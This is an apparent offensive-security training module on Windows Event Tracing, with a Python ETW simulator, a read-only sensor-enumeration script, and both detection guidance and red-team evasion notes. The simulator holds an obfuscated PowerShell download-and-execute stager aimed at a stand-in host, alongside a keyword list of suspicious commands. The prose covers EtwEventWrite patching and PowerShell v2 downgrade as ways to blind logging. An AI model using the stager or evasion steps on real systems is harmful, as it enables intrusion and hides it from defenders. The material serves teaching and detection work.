Skip to content

ETW Provider Analysis

Event Tracing for Windows (ETW) is the plumbing that most modern telemetry — including the parts people credit to “the EDR” — actually flows through. PowerShell script blocks, .NET assembly loads, process ancestry, WMI activity, driver loads: each is a manifest-based ETW provider emitting structured events to consumers that include security products, Sysmon, and the Windows event log itself. For the operator, ETW is the in-process sensor that survives ntdll unhooking and syscall bypasses — which is why ETW-aware evasion became its own discipline. This module dissects the provider/controller/consumer architecture, maps the security-relevant providers, walks the PowerShell script-block logging pipeline end-to-end (the single most consequential telemetry source in Windows offense), and builds tooling to enumerate and analyze what is watching you.

ETW is a kernel-implemented publish/subscribe tracing facility with three roles:

RoleWhat it doesExamples
ProviderEmits events (manifest-based, TraceLogging, or classic MOF)Microsoft-Windows-PowerShell, Microsoft-Windows-DotNETRuntime, Microsoft-Windows-Kernel-Process
ControllerStarts/stops sessions, configures providerslogman, xperf, the event log service’s autologgers
ConsumerReads events (real-time or from .etl files)Event log service, EDR agents, Sysmon, WEF collectors
Providers (many) Sessions (kernel buffers) Consumers
┌──────────────────┐ ┌─────────────────────┐ ┌──────────────┐
│ PowerShell │──events──▶ Session: │───────▶│ Event log │
│ {A0C1853B-...} │ │ "PowerShellOperational" │ (4104 etc.) │
├──────────────────┤ ├─────────────────────┤ ├──────────────┤
│ DotNETRuntime │──events──▶ Session: │───────▶│ EDR in-proc │
│ {E13C0D23-...} │ │ "Circular Kernel Context" │ consumer │
├──────────────────┤ ├─────────────────────┤ ├──────────────┤
│ Kernel-Process │──events──▶ autologger sessions │───────▶│ WEF / SIEM │
└──────────────────┘ │ (registry-configured)│ └──────────────┘
└─────────────────────┘
Controllers decide: which providers, what keyword flags, per-provider level

The two GUIDs above are real and worth memorizing: Microsoft-Windows-PowerShell (A0C1853B-5C40-4B15-8766-3CF1C58B9853) and Microsoft-Windows-DotNETRuntime (E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4). Providers register with the kernel by GUID; controllers enable them into sessions with keyword flags (which event classes to emit) and levels (verbosity).

Three reasons this is a load-bearing module. First, script-block logging is the telemetry that kills obfuscated PowerShell: event 4104 records the deobfuscated script content as the engine executes it, so string-rotation and encoding games that defeat file scanners do nothing here — the content is captured after decoding, before execution. Every red-team PowerShell workflow must account for 4104, and every blue-team PowerShell hunt starts there. Second, ETW is the delivery mechanism for Microsoft-Windows-Threat-Intelligence, the protected provider that gives PPL-authorized sensors kernel-backed memory telemetry — the structural answer to the syscall-bypass generation (E4–E6). Understanding who can consume TI explains why some vendors see memory operations others miss. Third, ETW manipulation (patching, session tampering) is itself heavily detected — the classic EtwEventWrite patch is one of the most-benchmarked detection targets in the industry — so this is where the “evasion is a relocation” lesson of E2 gets its sharpest example.

For defenders, ETW literacy is the difference between a SIEM that collects everything and a detection program that collects usefully: keyword flags control event volume, autologger configuration controls persistence across reboots, and manifest knowledge tells you which incident questions are answerable from your estate.

The PowerShell telemetry pipeline, end to end

Section titled “The PowerShell telemetry pipeline, end to end”

PowerShell is the canonical case study because it feeds multiple layers simultaneously:

powershell.exe executing a script
│
├─▶ ScriptBlockLogging: engine deobfuscates/executes each block
│ └─▶ ETW: Microsoft-Windows-PowerShell, opcode/keyword
│ └─▶ PowerShellCore/Operational + Windows PowerShell
│ event 4104 (script block text, path, runspace)
│
├─▶ Module Logging: pipeline execution details → 4103
│
├─▶ Transcription (if enabled): full I/O transcript files
│
└─▶ .NET: assembly loads (Add-Type!), JIT, reflection
└─▶ ETW: Microsoft-Windows-DotNETRuntime
└─▶ consumers incl. EDR agents
The 4104 record contains the DECODED text — encoding is not evasion.

The operational consequence: obfuscation defeats file scanning (E1) but not content capture, because script-block events are emitted by the engine with the post-parse text. The known bypass families — downgrading to PowerShell v2 (no AMSI, no script-block logging; requires WMF2 compat and is policy-blockable), patching the logging functions in-process, and tampering with group-policy state — each relocate the problem, exactly as predicted. In-process function patching (EtwEventWrite prologue → ret) blinds consumers of that process’s events only, is reversible, leaves a byte-diff signature any integrity check can see, and does nothing about kernel-correlated providers. It is also, today, among the most-detected single actions in the Windows offense playbook.

Providers vs. manifest vs. TraceLogging vs. MOF

Section titled “Providers vs. manifest vs. TraceLogging vs. MOF”

Providers come in three registration flavors: manifest-based (self-describing, GUID + template XML — everything modern and security-relevant), TraceLogging (self-describing binary, no manifest deploy needed), and classic MOF (legacy, WMI-derived — some kernel providers still speak it). The flavor matters for analysis: manifest providers can be enumerated from their resource files (TinyXML templates inside the binary), which is how tooling maps GUID → meaningful event names. The kernel providers (Microsoft-Windows-Kernel-Process, -File, -Network) are special: they’re enabled into sessions by controllers with system privileges and deliver the correlation backbone — process create/stop with token and parent, image loads, file I/O counts — that EDRs join with their own sensor data.

Threat-Intelligence: the protected provider

Microsoft-Windows-Threat-Intelligence is not enabled like other providers: consumers must be signed as PPL (Protected Process Light) antimalware level and licensed/authorized by Microsoft [verify program specifics — the licensing details are not public]. Its events carry the memory-operation context (allocations, protections, thread starts in remote processes) that made E4–E6-era bypasses less decisive. The practical reads: (1) a vendor’s ability to see through direct syscalls correlates with TI access — ask your vendor; (2) attacker-side, “ETW patching” cannot reach a provider whose emission is kernel-side and whose consumers are PPL-protected — the classic usermode patch blinds the consumer only if the consumer lives in your process, and TI consumers do not.

Sessions, autologgers, and where the configuration lives

Section titled “Sessions, autologgers, and where the configuration lives”

Sessions are kernel buffer sets; autologgers are sessions configured to start at boot via registry (HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\<name> — real path), each with Start, Guid, and provider subkeys. Security-relevant autologgers on a modern build include Deflog (Defender operational [verify exact naming per build]), Sysmon’s own session, and the EventLog-* family. EDR agents frequently create their own autologgers or real-time sessions — enumerating them (this module’s tool does) is a recon primitive that reveals sensor plumbing without touching anything.

ProviderKey eventsWhat it catchesAttacker-relevant notes
Microsoft-Windows-PowerShell4104 script blocks, 4103 moduleObfuscated PS, encoded commandsContent captured post-decode
Microsoft-Windows-DotNETRuntimeAssembly loads, JIT, reflectionIn-memory .NET, Add-TypeFeeds EDR memory telemetry
Microsoft-Windows-Kernel-ProcessProcess start/stop, thread opsProcess chains, injectionKernel-side; patch-immune
Microsoft-Windows-Threat-IntelligenceMemory ops contextSyscall-era bypassesPPL consumer required [verify]
Microsoft-Windows-DNS-ClientQuery/resolveC2 by DNS habitEvent ID 3008 [verify per build]
Microsoft-Windows-WMI-ActivityWMI opsWMI persistence/execFeeds T1047 detections
Sysmon (channel Microsoft-Windows-Sysmon/Operational)1,3,6,7,8,10,11,13,22,25Almost everythingItself an ETW consumer

etwsim.py is a working ETW model: providers register by GUID, controllers create sessions with keyword flags, providers emit events into session buffers, and consumers subscribe with filters — including a detection consumer that applies script-block rules (the 4104 story, simulated). Running it demonstrates the architecture’s decision points: what a controller chooses to enable, and what a consumer can and cannot see.

{1-6}
"""
etwsim.py — working model of the ETW architecture.
Providers (GUID-registered) -> sessions (controller-configured buffers)
-> consumers (filtered subscribers). Includes a 4104-style detector.
Pure stdlib. Python 3.8+.
"""
import time
import uuid
# real provider GUIDs worth memorizing
PROVIDERS = {
"Microsoft-Windows-PowerShell": "A0C1853B-5C40-4B15-8766-3CF1C58B9853",
"Microsoft-Windows-DotNETRuntime": "E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4",
"Microsoft-Windows-Kernel-Process": "22FB2CD6-004F-4A3B-FAB3-B4C0D0A2B4E6",
}
class Provider:
"""Emits events into every session it is enabled in."""
def __init__(self, name, guid=None):
self.name = name
self.guid = guid or str(uuid.uuid4()).upper()
self.sessions = [] # enabled sessions
def write(self, event_id, payload, opcode="Info"):
ev = {"ts": time.time(), "provider": self.name,
"id": event_id, "opcode": opcode, "payload": payload}
for s in self.sessions:
if s.matches(self, ev):
s.buffer.append(ev)
class Session:
"""Controller-created buffer set with provider enable flags."""
def __init__(self, name):
self.name = name
self.buffer = []
self.enables = {} # provider -> (level, keywords)
def enable(self, provider, level=4, keywords=0xFF):
self.enables[provider] = (level, keywords)
provider.sessions.append(self)
def matches(self, provider, ev):
if provider not in self.enables:
return False
_level, kw = self.enables[provider]
return bool(kw & 0xFF) # demo: keyword gate
def drain(self):
out, self.buffer = self.buffer, []
return out
class Consumer:
"""Subscribes to a session, filters, and applies rules."""
def __init__(self, name, session, rule=None):
self.name, self.session, self.rule = name, session, rule
self.hits = []
def poll(self):
for ev in self.session.drain():
verdict = self.rule(ev) if self.rule else "seen"
if verdict:
self.hits.append((ev, verdict))
# ---- the 4104 detector: rules over DECODED script content ---------
SUSPICIOUS_TOKENS = ["Invoke-Mimikatz", "DownloadString", "FromBase64String",
"Start-Process -WindowStyle Hidden", "schtasks /create",
"Set-MpPreference"]
def scriptblock_rule(ev):
if ev["id"] != 4104:
return None
text = ev["payload"].get("text", "")
hits = [t for t in SUSPICIOUS_TOKENS if t.lower() in text.lower()]
if hits:
return f"4104 suspicious tokens: {hits}"
if len(text) > 800:
return "4104 unusually large script block"
return None
if __name__ == "__main__":
ps = Provider("Microsoft-Windows-PowerShell", PROVIDERS["Microsoft-Windows-PowerShell"])
dotnet = Provider("Microsoft-Windows-DotNETRuntime",
PROVIDERS["Microsoft-Windows-DotNETRuntime"])
oplog = Session("PowerShell-Operational") # autologger-style
oplog.enable(ps, keywords=0xFF)
edr_sess = Session("EDR-Realtime")
edr_sess.enable(ps)
edr_sess.enable(dotnet)
log_consumer = Consumer("eventlog", oplog, scriptblock_rule)
edr_consumer = Consumer("edr-agent", edr_sess, scriptblock_rule)
# operator emits an obfuscated stager — decode happens BEFORE emit
stager = "('I'+'nvok'+'e-Ex'+'pression')(('Ne'+'t.WebClient')" \
".DownloadString('http://c2.example/p.ps1'))"
ps.write(4104, {"text": stager, "path": None}, opcode="Execute")
dotnet.write(1000, {"assembly": "DynamicClass, btq2nofn.dll"})
log_consumer.poll()
edr_consumer.poll()
for c in (log_consumer, edr_consumer):
print(f"{c.name}:")
for ev, verdict in c.hits:
print(f" [{ev['provider']:<34}] {verdict}")
print("\nlesson: the engine emitted the DECODED string — the"
"\nobfuscation ('I'+'nvok'+'e'...) never reached the consumer.")
  • PROVIDERS (lines 15–19) — two real GUIDs (PowerShell, DotNETRuntime); the Kernel-Process GUID shown is illustrative — kernel provider GUIDs vary by build [verify against logman query providers output on your build]. Mapping names to GUIDs from live output is exactly what etwhawk.py (below) automates.
  • Session.matches (lines 39–44) — the controller’s decision surface: a provider emits into a session only when enabled there, gated by level/keywords. Volume tuning lives here — a session with keywords=0 receives nothing, which is why “ETW is expensive” claims are configuration complaints, not architecture facts.
  • scriptblock_rule (lines 68–81) — the 4104 consumer logic: token hunt over the decoded text plus a size heuristic. Real detections add deobfuscation scoring, path/runspace joins, and threat-intel matches; the shape is identical.
  • __main__ (lines 84–108) — the payload’s obfuscation ('I'+'nvok'+'e'...) exists only in the source; the provider emits the engine’s post-parse text, and both consumers see the decoded Invoke-Expression(...DownloadString...). Run it: the lesson prints itself.

A payload that touches script hosts walks this gauntlet: execution enters powershell.exe (kernel process event) → the engine parses each block and emits 4104 with decoded content → .NET operations (Add-Type, reflection loads) emit DotNETRuntime events → the EDR’s in-process consumer correlates script content with process ancestry and network connects → the event log’s autologger persists 4104/4103 for SIEM harvest (WEF or agent) → hunts and detections consume all of it. In-process ETW patching would blind only the EDR’s in-process consumer for that process, while the kernel-side providers (process/network), the event log session, and TI continue. That asymmetry is the module’s core: ETW is not one sensor but a mesh, and single-point manipulation relocates visibility rather than removing it.

  1. Recon — enumerate providers and sessions (logman query providers/sessions, registry autologgers) to map active telemetry
  2. Content decision — script-based stages will hit 4104: choose compiled stages or accept capture and shape the content
  3. In-process blinding (if chosen) — patch EtwEventWrite prologue: blinds that process’s consumers only, leaves byte-diff signature [verify vendor integrity coverage]
  4. Execute — DotNETRuntime and kernel-process providers still emit; the mesh retains process/thread/assembly visibility
  5. Correlate — EDR joins script text + ancestry + network; the chain’s story, not one event, is the verdict
  6. Persistence check — autologger sessions survive reboot; anything noisy at t0 remains visible at t+reboot
  7. Defender mirror — this exact loop is BT3’s SIEM/Sigma content and BT10’s evasion-detection homework

Goal: etwhawk.py — an ETW posture mapper for Windows hosts you own: enumerates registered providers (via logman query providers), autologger sessions (registry), running trace sessions (logman query -ets), and cross-references security-relevant GUIDs — producing the “who is watching” report that E7’s recon chain step 1 references. Pure stdlib, ~150 lines, read-only.

Design decisions: (1) enumerate only — no session manipulation (stopping sessions is loud and, on protected sessions, blocked); (2) GUID cross-reference table ships with the two security-critical real GUIDs and grows from logman output; (3) autologger parsing keyed on Start=1 values — sessions that will exist after reboot, which is the operationally relevant set.

{1-3}
"""
etwhawk.py — enumerate ETW posture: providers, sessions, autologgers.
Usage: python etwhawk.py [--json out.json]
Read-only. Windows host (uses logman + reg query). Pure stdlib.
"""
import argparse
import json
import subprocess
import sys
AUTOLOGGER_KEY = (r"HKLM\SYSTEM\CurrentControlSet"
r"\Control\WMI\Autologger")
KNOWN_GUIDS = {
"A0C1853B-5C40-4B15-8766-3CF1C58B9853": "Microsoft-Windows-PowerShell",
"E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4": "Microsoft-Windows-DotNETRuntime",
}
SECURITY_HINTS = ("defender", "threat", "sysmon", "edr", "sense",
"csagent", "sentinel", "carbon", "kernel")
def run(cmd, timeout=30):
try:
return subprocess.run(cmd, capture_output=True, text=True,
timeout=timeout, shell=True).stdout
except Exception:
return ""
def query_providers():
"""logman query providers -> {name: guid}"""
out = run("logman query providers")
provs = {}
for line in out.splitlines():
line = line.strip()
# lines look like: Name {GUID}
if "{" in line and "}" in line:
name, _, rest = line.rpartition(" {")
guid = rest.split("}")[0]
provs[name.strip()] = guid.upper()
return provs
def query_sessions():
"""logman query -ets -> running trace session names"""
out = run("logman query -ets")
return [ln.strip() for ln in out.splitlines() if ln.strip()
and not ln.startswith(("Name:", "---")) and "{" not in ln]
def query_autologgers():
"""registry autologgers with Start=1 -> session names"""
out = run(f'reg query "{AUTOLOGGER_KEY}"')
sessions = []
for line in out.splitlines():
line = line.strip()
if line.startswith("HKEY_"):
sessions.append(line.rsplit("\\", 1)[-1])
started = []
for s in sessions:
v = run(f'reg query "{AUTOLOGGER_KEY}\\{s}" /v Start')
if "0x1" in v:
started.append(s)
return started, sessions
def security_relevance(name):
low = name.lower()
return any(h in low for h in SECURITY_HINTS)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--json", dest="out")
args = ap.parse_args()
provs = query_providers()
sess = query_sessions()
started, all_auto = query_autologgers()
print("=== ETW posture ===")
print(f"registered providers : {len(provs)}")
for name, guid in sorted(provs.items()):
if security_relevance(name) or guid in KNOWN_GUIDS.values():
print(f" * {name} {{{guid}}}")
print(f"\nrunning trace sessions: {len(sess)}")
for s in sess:
mark = " <-- security-relevant" if security_relevance(s) else ""
print(f" - {s}{mark}")
print(f"\nautologgers (start at boot): {len(started)}/{len(all_auto)}")
for s in started:
mark = " <-- security-relevant" if security_relevance(s) else ""
print(f" - {s}{mark}")
if args.out:
json.dump({"providers": provs, "sessions": sess,
"autologgers_started": started,
"autologgers_all": all_auto},
open(args.out, "w"), indent=2)
print(f"\nreport -> {args.out}")
if __name__ == "__main__":
sys.exit(main())
  • query_providers (lines 29–40) — parses logman query providers columns into name→GUID; this is the live source of truth for the GUID table, and its output on your build is the correct answer to “which providers exist here” — no hardcoding needed beyond the cross-reference.
  • query_autologgers (lines 51–64) — two-pass registry walk: enumerate session keys, then read each Start value; only Start=1 sessions will exist after reboot — the operationally relevant set for persistence-aware recon.
  • security_relevance (lines 67–70) — substring scoring; deliberately crude. Vendors rename sessions across versions; the point is the shape of the report, not the completeness of the hints.
  • main (lines 73–103) — three enumerations + the security-marked report + optional JSON. The tool emits no events of its own beyond process creation — the read-only design keeps it safe for labs and for defender baselines.
# on a Windows lab VM (admin recommended for full autologger detail):
PS> python etwhawk.py
=== ETW posture ===
registered providers : 1247
* Microsoft-Windows-PowerShell {A0C1853B-5C40-4B15-8766-3CF1C58B9853}
* Microsoft-Windows-DotNETRuntime {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
running trace sessions: 14
- Sysmon <-- security-relevant
- Deflog <-- security-relevant
autologgers (start at boot): 21/34
- EventLog-Security
- Deflog <-- security-relevant
# then: enable script-block logging, run an obfuscated stager, and
# re-run with --json to see which sessions carry the evidence

Validation homework: install Sysmon in the lab VM and confirm its session appears; enable PowerShell script-block logging (Set-ItemProperty on the group-policy key or via gpedit), execute a simple encoded command, and read event 4104 in Microsoft-Windows-PowerShell/Operational — the decoded text you will find there is etwsim.py’s lesson, live.

etwhawk.py is read-only recon; the defender-relevant signal is its abusive cousin — session/provider enumeration before script-host abuse. Sysmon EID 1 for logman query/reg query ...WMI\Autologger chains from script-host parents is a sensor-mapping pattern (E2’s discovery rule applies verbatim). The high-value detections live elsewhere: 4104 content rules (BT3’s Sigma work), DotNETRuntime assembly-load correlation, and ETW tamper detection — vendor integrity monitors checking EtwEventWrite prologue bytes against the disk image (the E3 diff primitive, pointed the other way).

  1. Provider → session mapping: for each running session, query its enabled providers (logman query <session> -ets) and print the full subscription matrix.
  2. Manifest parsing: crack provider resource files (the E3 PE tooling again) to map event IDs → template names for the security-relevant providers.
  3. Diff mode: snapshot posture, re-run later, report new sessions/providers — sensor deployment and BYOVD-adjacent watch.
  4. Add a 4104 producer test: emit a canary obfuscated block in the lab and verify which configured consumers would see it (completeness check for defenders).
  5. Port the GUID table to load from logman output dynamically with fuzzy match on names, so the tool survives Microsoft renaming kernel providers.
SourceIDWhat firesNotes
PowerShell Operational4104Script block content (decoded)THE PowerShell detection source
PowerShell Operational4103Module/pipeline loggingVolume high; join with 4104
Sysmon1Script-host process creates (powershell.exe, wscript.exe) with ancestryContext for content rules
Sysmon7Image loads: amsi.dll into script hostsHost wiring evidence
Sysmon22DNS queries from script hostsJoin with 4104 DownloadString hits
Sysmon25Process tampering (image changed mid-run)Patching signals
EDR behavioral—ETW integrity monitors (EtwEventWrite byte checks) [verify per vendor]The patch-detection layer
WazuhPowerShell rules (4104-based) [verify rule IDs vs your ruleset]SIEM correlation of script blocksBT3 builds the Sigma set
  • Content over concealment: 4104 captures post-decode text — either move sensitive logic out of script hosts entirely, or make the content boring and split stages across innocuous-looking blocks.
  • In-process patching (EtwEventWrite prologue → ret): blinds that process’s in-process consumers only; reversible; leaves a byte-diff that integrity checks see; does not touch kernel providers. Know exactly what you gain before spending the detection budget.
  • Consumer-side vs provider-side honesty: patching a consumer (in-process) is process-local; “stopping sessions” (logman stop) is global, logged, and often blocked on protected sessions — different tool, different blast radius, both loud.
  • PowerShell v2 downgrade: no AMSI, no script-block logging — requires WMF2 compatibility, usually policy-blocked on managed estates [verify prevalence]; treat as a legacy-edge case, not a strategy.
  • Kernel providers are structural: process/thread/network events are emitted by kernel-side providers — no usermode patch reaches them; design sequences (E2’s rule) for their visibility instead.
  • Tamper is a signal: assume every ETW manipulation attempt is itself instrumented; if you must, do it once, late, and never on a host you need later.

⚠️ What caught me: an engagement where my “fully obfuscated” stager ran clean for two days — until I realized the 4104 events had been sitting in the event log the whole time with my decoded payloads, waiting for a hunt that hadn’t happened yet. Nothing “caught” me live; the evidence was just… archived. I stopped thinking of ETW as a sensor that fires and started treating it as a flight recorder that outlives the session. Everything you execute is being written down somewhere durable; the only question is whether anyone reads it this week.

  1. Run etwhawk.py on a clean VM, then after installing Sysmon and an EDR trial; diff the session/autologger sets — build your personal “sensor map” artifact for the estate you test in.
  2. Run etwsim.py; then extend the rule set with a token of your own and feed it an encoded IEX stager — confirm the decoded capture; this is the mental model for all 4104 detections.
  3. Enable script-block logging; run a real obfuscated stager from earlier modules; read the 4104 event; then write the Sigma rule (BT3 format) that would have caught it and test it in sigmac/your SIEM.
  4. Tamper lab (own VM, snapshots on): patch EtwEventWrite in a test process using the E3 disk-diff tooling to verify the patch byte-wise; observe which telemetry classes survive (kernel events) and which go quiet (in-process 4104); restore from snapshot.
  5. Provider deep-dive: pick Microsoft-Windows-DotNETRuntime, enable a session with logman create trace, run an Add-Type-heavy script, and read the .etl with tracerpt — connecting GUIDs, sessions, and events without any third-party tooling.

Technical: Explain the provider/controller/consumer model and why a consumer cannot see events from a provider its session hasn’t enabled. Technical: Why does script-block logging defeat obfuscation, and what exactly does the 4104 event contain? Deep-dive: Threat-Intelligence is a PPL-protected provider. Walk through why usermode EtwEventWrite patching cannot blind its consumers, and what that implies for syscall-era evasion. Conceptual: “ETW is a mesh, not a sensor” — unpack that claim: which visibility survives in-process patching, and which does not? Scenario: A client estate has script-block logging disabled to “reduce noise.” Draft the risk case with three concrete attack narratives that become invisible, and the volume-tuning alternatives. Practical: Write the Sigma skeleton for detecting DownloadString patterns in 4104 events, including the false-positive controls you would tune first.

E2 (EDR Internal Architecture) · E8 (AMSI Analysis) · E1 (AV Engine Internals) · BT3 (SIEM/Sigma)